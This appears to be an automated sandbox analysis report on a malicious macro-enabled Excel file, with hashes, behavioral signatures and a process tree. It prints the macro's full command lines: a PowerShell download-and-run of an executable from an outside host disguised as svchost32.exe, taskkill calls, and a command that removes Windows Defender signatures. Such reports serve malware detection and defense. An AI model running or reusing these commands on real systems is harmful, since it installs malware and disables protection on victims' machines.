Analysis
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max time kernel
134s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
30-11-2022 16:50
Behavioral task
behavioral1
Sample
800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59.xlsm
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59.xlsm
Resource
win10v2004-20220812-en
General
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Target
800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59.xlsm
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Size
28KB
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MD5
687ddd53b6c273583e08db1698bfeabc
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SHA1
ed237ecf129e28f509de74a6f3c560a3d2aa2bec
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SHA256
800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59
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SHA512
3462614f8f8c9260be3bd585c9c307c1b6abe184950338b65e52a52a56184b4813351f7df035261f276473cb351a8d82d6d673cb8e5ea21aae5509c16222c0ef
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SSDEEP
768:+dgb8qEv5j/hv2454yNX0R/V+BKlRGstxHIU:+B15j/s45rNER/V+B6Rn7HIU
Malware Config
Extracted
http://lokipanelhostingpanel.gq/work/worknew/1.exe
Signatures
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Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.execmd.exepowershell.execmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1960 3812 powershell.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3580 3812 cmd.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1468 3812 powershell.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1080 3812 cmd.exe EXCEL.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 4756 taskkill.exe 2408 taskkill.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3812 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 1468 powershell.exe 1960 powershell.exe 1468 powershell.exe 1960 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exepowershell.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 1468 powershell.exe Token: SeDebugPrivilege 1960 powershell.exe Token: SeDebugPrivilege 2408 taskkill.exe Token: SeDebugPrivilege 4756 taskkill.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
EXCEL.EXEpid process 3812 EXCEL.EXE 3812 EXCEL.EXE 3812 EXCEL.EXE 3812 EXCEL.EXE 3812 EXCEL.EXE 3812 EXCEL.EXE 3812 EXCEL.EXE 3812 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.exedescription pid process target process PID 3812 wrote to memory of 1960 3812 EXCEL.EXE powershell.exe PID 3812 wrote to memory of 1960 3812 EXCEL.EXE powershell.exe PID 3812 wrote to memory of 3580 3812 EXCEL.EXE cmd.exe PID 3812 wrote to memory of 3580 3812 EXCEL.EXE cmd.exe PID 3812 wrote to memory of 1468 3812 EXCEL.EXE powershell.exe PID 3812 wrote to memory of 1468 3812 EXCEL.EXE powershell.exe PID 3812 wrote to memory of 1080 3812 EXCEL.EXE cmd.exe PID 3812 wrote to memory of 1080 3812 EXCEL.EXE cmd.exe PID 3580 wrote to memory of 4756 3580 cmd.exe taskkill.exe PID 3580 wrote to memory of 4756 3580 cmd.exe taskkill.exe PID 1468 wrote to memory of 2408 1468 powershell.exe taskkill.exe PID 1468 wrote to memory of 2408 1468 powershell.exe taskkill.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://lokipanelhostingpanel.gq/work/worknew/1.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /f /im winword.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im Excel.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit2⤵
- Process spawned unexpected child process
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD58e42bec1f8f4c3705f1df36c21c85531
SHA1c9d6aac3c1b16ed12f22185ebdc9f921cd396d14
SHA256f3a91001711172cac5380d0409a531f64a8f85666188abb1e4fd0af070ddb9e2
SHA512d8b5b5ad81d6d447a3e1994e3ffb8c75f91452599737bc40b5c0b11668300654b938e92f87718c3f01a70cad26b54f697eb6f70fe95c2dd2357ccd4b8bd24aa6
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memory/1080-142-0x0000000000000000-mapping.dmp
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memory/1468-147-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmpFilesize
10.8MB
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memory/1468-144-0x0000022FB5E90000-0x0000022FB5EB2000-memory.dmpFilesize
136KB
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memory/1468-148-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmpFilesize
10.8MB
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memory/1468-141-0x0000000000000000-mapping.dmp
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memory/1960-151-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmpFilesize
10.8MB
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memory/1960-139-0x0000000000000000-mapping.dmp
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memory/1960-146-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmpFilesize
10.8MB
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memory/2408-145-0x0000000000000000-mapping.dmp
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memory/3580-140-0x0000000000000000-mapping.dmp
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memory/3812-135-0x00007FFC45150000-0x00007FFC45160000-memory.dmpFilesize
64KB
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memory/3812-136-0x00007FFC45150000-0x00007FFC45160000-memory.dmpFilesize
64KB
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memory/3812-132-0x00007FFC45150000-0x00007FFC45160000-memory.dmpFilesize
64KB
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memory/3812-138-0x00007FFC42D80000-0x00007FFC42D90000-memory.dmpFilesize
64KB
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memory/3812-134-0x00007FFC45150000-0x00007FFC45160000-memory.dmpFilesize
64KB
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memory/3812-133-0x00007FFC45150000-0x00007FFC45160000-memory.dmpFilesize
64KB
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memory/3812-137-0x00007FFC42D80000-0x00007FFC42D90000-memory.dmpFilesize
64KB
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memory/4756-143-0x0000000000000000-mapping.dmp